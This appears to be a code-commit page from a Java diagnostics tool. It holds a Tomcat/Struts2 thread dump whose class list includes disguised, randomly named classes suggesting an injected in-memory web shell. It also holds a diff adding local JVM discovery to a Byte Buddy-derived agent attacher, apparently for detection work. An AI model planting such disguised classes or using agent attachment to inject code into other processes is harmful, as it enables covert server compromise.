"localhost-startStop-1" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42ede5b2
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-5" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-2" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@6e2b855c
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||
|
||||
"http-nio-8080-exec-9" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-4" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-7" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5faa2b5c
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||
|
||||
"http-nio-8080-Acceptor" #28 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:449)
|
||||
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:63)
|
||||
at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:129)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #16 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1300)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"main" #1 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at org.apache.catalina.core.StandardServer.await(StandardServer.java:468)
|
||||
at org.apache.catalina.startup.Catalina.await(Catalina.java:730)
|
||||
at org.apache.catalina.startup.Catalina.start(Catalina.java:678)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:345)
|
||||
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:476)
|
||||
|
||||
"http-nio-8080-exec-3" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-1" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@21d5aa7d
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
|
||||
|
||||
"http-nio-8080-Poller" #27 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
Base64ClassLoaderAction
|
||||
com.fasterxml.jackson.ZsoNQ.ErrorHandler
|
||||
com.opensymphony.xwork2.DefaultActionInvocation
|
||||
com.opensymphony.xwork2.interceptor.AliasInterceptor
|
||||
com.opensymphony.xwork2.interceptor.ChainingInterceptor
|
||||
com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor
|
||||
com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor
|
||||
com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor
|
||||
com.opensymphony.xwork2.interceptor.MethodFilterInterceptor
|
||||
com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor
|
||||
com.opensymphony.xwork2.interceptor.ParametersInterceptor
|
||||
com.opensymphony.xwork2.interceptor.PrepareInterceptor
|
||||
com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor
|
||||
com.opensymphony.xwork2.interceptor.StaticParametersInterceptor
|
||||
com.opensymphony.xwork2.ognl.OgnlUtil
|
||||
com.opensymphony.xwork2.ognl.OgnlUtil$3
|
||||
com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor
|
||||
com.opensymphony.xwork2.validator.ValidationInterceptor
|
||||
ognl.ASTMethod
|
||||
ognl.ObjectMethodAccessor
|
||||
ognl.Ognl
|
||||
ognl.OgnlRuntime
|
||||
ognl.SimpleNode
|
||||
org.apache.catalina.authenticator.AuthenticatorBase
|
||||
org.apache.catalina.connector.CoyoteAdapter
|
||||
org.apache.catalina.connector.CoyoteWriter
|
||||
org.apache.catalina.core.ApplicationFilterChain
|
||||
org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor
|
||||
org.apache.catalina.core.StandardContextValve
|
||||
org.apache.catalina.core.StandardEngineValve
|
||||
org.apache.catalina.core.StandardHostValve
|
||||
org.apache.catalina.core.StandardServer
|
||||
org.apache.catalina.core.StandardWrapperValve
|
||||
org.apache.catalina.startup.Bootstrap
|
||||
org.apache.catalina.startup.Catalina
|
||||
org.apache.catalina.valves.AbstractAccessLogValve
|
||||
org.apache.catalina.valves.ErrorReportValve
|
||||
org.apache.coyote.AbstractProcessorLight
|
||||
org.apache.coyote.AbstractProtocol$AsyncTimeout
|
||||
org.apache.coyote.AbstractProtocol$ConnectionHandler
|
||||
org.apache.coyote.http11.Http11Processor
|
||||
org.apache.struts2.dispatcher.Dispatcher
|
||||
org.apache.struts2.dispatcher.ExecuteOperations
|
||||
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
|
||||
org.apache.struts2.factory.StrutsActionProxy
|
||||
org.apache.struts2.interceptor.CheckboxInterceptor
|
||||
org.apache.struts2.interceptor.DateTextFieldInterceptor
|
||||
org.apache.struts2.interceptor.FileUploadInterceptor
|
||||
org.apache.struts2.interceptor.I18nInterceptor
|
||||
org.apache.struts2.interceptor.MultiselectInterceptor
|
||||
org.apache.struts2.interceptor.ServletConfigInterceptor
|
||||
org.apache.struts2.interceptor.debugging.DebuggingInterceptor
|
||||
org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor
|
||||
org.apache.tomcat.util.net.Acceptor
|
||||
org.apache.tomcat.util.net.NioEndpoint
|
||||
org.apache.tomcat.util.net.NioEndpoint$Poller
|
||||
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor
|
||||
org.apache.tomcat.util.net.SocketProcessorBase
|
||||
org.apache.tomcat.util.threads.TaskQueue
|
||||
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable
|
||||
org.apache.tomcat.util.threads.ThreadPoolExecutor
|
||||
org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker
|
||||
File diff suppressed because it is too large
Load Diff
+1153
-1100
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+602
-596
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+562
-539
File diff suppressed because it is too large
Load Diff
@@ -15,6 +15,7 @@
|
||||
*/
|
||||
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -22,13 +23,18 @@ import java.net.MalformedURLException;
|
||||
import java.net.URISyntaxException;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.ByteOrder;
|
||||
import java.security.CodeSource;
|
||||
import java.security.PrivilegedAction;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.Collections;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Properties;
|
||||
import java.util.Set;
|
||||
|
||||
/**
|
||||
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
||||
@@ -91,6 +97,41 @@ public class Attacher {
|
||||
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>
|
||||
* Lists all discoverable Java processes on the local host.
|
||||
* Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
|
||||
* </p>
|
||||
* <p>
|
||||
* HotSpot processes are discovered by scanning {@code hsperfdata_<user>} directories
|
||||
* in the system temporary folder and parsing PerfData binary files to extract
|
||||
* the main class name. OpenJ9 processes are discovered by scanning
|
||||
* {@code .com_ibm_tools_attach} directories and reading {@code attachInfo} property files.
|
||||
* </p>
|
||||
* <p>
|
||||
* <b>Note</b>: Only processes accessible to the current user are listed.
|
||||
* Stale entries from crashed JVMs may appear. Processes started with
|
||||
* {@code -XX:-UsePerfData} will not be discoverable via HotSpot scanning.
|
||||
* </p>
|
||||
*
|
||||
* @return A list of discovered Java process descriptors.
|
||||
*/
|
||||
public static List<JavaProcessDescriptor> listJavaProcesses() {
|
||||
List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
|
||||
Set<String> seenPids = new HashSet<String>();
|
||||
for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
|
||||
if (seenPids.add(descriptor.getPid())) {
|
||||
processes.add(descriptor);
|
||||
}
|
||||
}
|
||||
for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
|
||||
if (seenPids.add(descriptor.getPid())) {
|
||||
processes.add(descriptor);
|
||||
}
|
||||
}
|
||||
return processes;
|
||||
}
|
||||
|
||||
/**
|
||||
* Installs a Java agent on a target VM.
|
||||
*
|
||||
@@ -928,4 +969,431 @@ public class Attacher {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Represents a discovered Java process on the local host.
|
||||
*/
|
||||
public static class JavaProcessDescriptor {
|
||||
|
||||
/**
|
||||
* The process ID.
|
||||
*/
|
||||
private final String pid;
|
||||
|
||||
/**
|
||||
* The main class name or JAR path, may be empty if unknown.
|
||||
*/
|
||||
private final String mainClass;
|
||||
|
||||
/**
|
||||
* The JVM type identifier, e.g. "HotSpot" or "OpenJ9".
|
||||
*/
|
||||
private final String vmType;
|
||||
|
||||
/**
|
||||
* Creates a new Java process descriptor.
|
||||
*
|
||||
* @param pid The process ID.
|
||||
* @param mainClass The main class name or JAR path, may be empty if unknown.
|
||||
* @param vmType The JVM type, e.g. "HotSpot" or "OpenJ9".
|
||||
*/
|
||||
public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
|
||||
this.pid = pid;
|
||||
this.mainClass = mainClass;
|
||||
this.vmType = vmType;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the process ID.
|
||||
*
|
||||
* @return The process ID.
|
||||
*/
|
||||
public String getPid() {
|
||||
return pid;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the main class name or JAR path. May be empty if unknown.
|
||||
*
|
||||
* @return The main class name.
|
||||
*/
|
||||
public String getMainClass() {
|
||||
return mainClass;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the JVM type identifier.
|
||||
*
|
||||
* @return The JVM type, e.g. "HotSpot" or "OpenJ9".
|
||||
*/
|
||||
public String getVmType() {
|
||||
return vmType;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
@Override
|
||||
public String toString() {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
sb.append(pid);
|
||||
if (mainClass.length() > 0) {
|
||||
sb.append(' ').append(mainClass);
|
||||
}
|
||||
sb.append(" (").append(vmType).append(')');
|
||||
return sb.toString();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories
|
||||
* in the system temporary folder and parsing PerfData v2 binary files.
|
||||
*/
|
||||
private static class HotSpotProcessDiscovery {
|
||||
|
||||
/**
|
||||
* The PerfData magic number: {@code 0xcafec0c0}.
|
||||
*/
|
||||
private static final int PERFDATA_MAGIC = 0xcafec0c0;
|
||||
|
||||
/**
|
||||
* The directory name prefix for HotSpot PerfData user directories.
|
||||
*/
|
||||
private static final String HSPERFDATA_PREFIX = "hsperfdata_";
|
||||
|
||||
/**
|
||||
* The PerfData entry name for the Java command line.
|
||||
*/
|
||||
private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
|
||||
|
||||
/**
|
||||
* The data units value for STRING type entries.
|
||||
*/
|
||||
private static final byte UNITS_STRING = 5;
|
||||
|
||||
/**
|
||||
* Maximum PerfData file size to read (1 MB), as a safety bound.
|
||||
*/
|
||||
private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
|
||||
|
||||
/**
|
||||
* Minimum PerfData file size (v2 prologue is 32 bytes).
|
||||
*/
|
||||
private static final int MIN_PERFDATA_SIZE = 32;
|
||||
|
||||
/**
|
||||
* The size of a PerfData v2 entry header in bytes.
|
||||
*/
|
||||
private static final int ENTRY_HEADER_SIZE = 20;
|
||||
|
||||
/**
|
||||
* Discovers all HotSpot JVM processes visible to the current user.
|
||||
*
|
||||
* @return A list of discovered HotSpot Java process descriptors.
|
||||
*/
|
||||
static List<JavaProcessDescriptor> discover() {
|
||||
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||
Set<String> seen = new HashSet<String>();
|
||||
for (File tmpDir : getTempDirectories()) {
|
||||
if (!tmpDir.isDirectory()) {
|
||||
continue;
|
||||
}
|
||||
File[] userDirs = tmpDir.listFiles();
|
||||
if (userDirs == null) {
|
||||
continue;
|
||||
}
|
||||
for (File userDir : userDirs) {
|
||||
if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
|
||||
continue;
|
||||
}
|
||||
File[] pidFiles = userDir.listFiles();
|
||||
if (pidFiles == null) {
|
||||
continue;
|
||||
}
|
||||
for (File pidFile : pidFiles) {
|
||||
String fileName = pidFile.getName();
|
||||
if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
|
||||
continue;
|
||||
}
|
||||
if (!seen.add(fileName)) {
|
||||
continue;
|
||||
}
|
||||
String javaCommand = parsePerfData(pidFile);
|
||||
result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the list of temporary directories to scan for HotSpot PerfData files.
|
||||
* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
|
||||
* and also {@code java.io.tmpdir} if it differs.
|
||||
*
|
||||
* @return A list of temporary directories.
|
||||
*/
|
||||
private static List<File> getTempDirectories() {
|
||||
List<File> dirs = new ArrayList<File>();
|
||||
String osName = System.getProperty("os.name", "");
|
||||
if (osName.startsWith("Windows")) {
|
||||
dirs.add(new File(System.getProperty("java.io.tmpdir")));
|
||||
} else {
|
||||
dirs.add(new File("/tmp"));
|
||||
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||
dirs.add(new File(javaIoTmpDir));
|
||||
}
|
||||
}
|
||||
return dirs;
|
||||
}
|
||||
|
||||
/**
|
||||
* Parses a HotSpot PerfData v2 binary file to extract the value of
|
||||
* {@code sun.rt.javaCommand}.
|
||||
* <p>
|
||||
* The PerfData v2 binary format consists of a 32-byte prologue followed
|
||||
* by a sequence of variable-length entries. Each entry contains a name
|
||||
* and a data value. This method iterates through entries looking for
|
||||
* the {@code sun.rt.javaCommand} entry.
|
||||
* </p>
|
||||
*
|
||||
* @param file The PerfData file to parse.
|
||||
* @return The value of {@code sun.rt.javaCommand}, or empty string if not found.
|
||||
*/
|
||||
private static String parsePerfData(File file) {
|
||||
FileInputStream fis = null;
|
||||
try {
|
||||
fis = new FileInputStream(file);
|
||||
long fileLength = file.length();
|
||||
if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
|
||||
return "";
|
||||
}
|
||||
byte[] data = new byte[(int) fileLength];
|
||||
int totalRead = 0;
|
||||
int bytesRead;
|
||||
while (totalRead < data.length
|
||||
&& (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
|
||||
totalRead += bytesRead;
|
||||
}
|
||||
if (totalRead < MIN_PERFDATA_SIZE) {
|
||||
return "";
|
||||
}
|
||||
|
||||
ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
|
||||
// Magic number is always stored in big-endian
|
||||
buffer.order(ByteOrder.BIG_ENDIAN);
|
||||
int magic = buffer.getInt(); // offset 0
|
||||
if (magic != PERFDATA_MAGIC) {
|
||||
return "";
|
||||
}
|
||||
|
||||
byte byteOrder = buffer.get(); // offset 4
|
||||
if (byteOrder == 1) {
|
||||
buffer.order(ByteOrder.LITTLE_ENDIAN);
|
||||
}
|
||||
|
||||
byte majorVersion = buffer.get(); // offset 5
|
||||
buffer.get(); // offset 6: minor version
|
||||
buffer.get(); // offset 7: accessible / reserved
|
||||
|
||||
if (majorVersion < 2) {
|
||||
// Only PerfData v2 format is supported
|
||||
return "";
|
||||
}
|
||||
|
||||
// v2 prologue fields
|
||||
buffer.getInt(); // offset 8: used
|
||||
buffer.getInt(); // offset 12: overflow
|
||||
buffer.getLong(); // offset 16: mod_time_stamp
|
||||
int entryOffset = buffer.getInt(); // offset 24: entry_offset
|
||||
int numEntries = buffer.getInt(); // offset 28: num_entries
|
||||
|
||||
// Iterate through PerfData entries
|
||||
int pos = entryOffset;
|
||||
for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
|
||||
buffer.position(pos);
|
||||
int entryLength = buffer.getInt();
|
||||
if (entryLength <= 0 || pos + entryLength > totalRead) {
|
||||
break;
|
||||
}
|
||||
|
||||
int nameOffset = buffer.getInt();
|
||||
buffer.getInt(); // vector_length
|
||||
buffer.get(); // data_type
|
||||
buffer.get(); // flags
|
||||
byte dataUnits = buffer.get(); // data_units
|
||||
buffer.get(); // data_variability
|
||||
int dataOffset = buffer.getInt();
|
||||
|
||||
// Read the entry name (null-terminated UTF-8 string)
|
||||
int nameStart = pos + nameOffset;
|
||||
if (nameStart < 0 || nameStart >= totalRead) {
|
||||
pos += entryLength;
|
||||
continue;
|
||||
}
|
||||
int nameEnd = nameStart;
|
||||
while (nameEnd < totalRead && data[nameEnd] != 0) {
|
||||
nameEnd++;
|
||||
}
|
||||
String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
|
||||
|
||||
if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
|
||||
// Read the string value
|
||||
int dataStart = pos + dataOffset;
|
||||
if (dataStart < 0 || dataStart >= totalRead) {
|
||||
return "";
|
||||
}
|
||||
int dataEnd = dataStart;
|
||||
while (dataEnd < totalRead && data[dataEnd] != 0) {
|
||||
dataEnd++;
|
||||
}
|
||||
return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
|
||||
}
|
||||
|
||||
pos += entryLength;
|
||||
}
|
||||
|
||||
return "";
|
||||
} catch (Exception ignored) {
|
||||
return "";
|
||||
} finally {
|
||||
if (fis != null) {
|
||||
try {
|
||||
fis.close();
|
||||
} catch (IOException ignored) {
|
||||
/* do nothing */
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks if a string consists entirely of digit characters.
|
||||
*
|
||||
* @param str The string to check.
|
||||
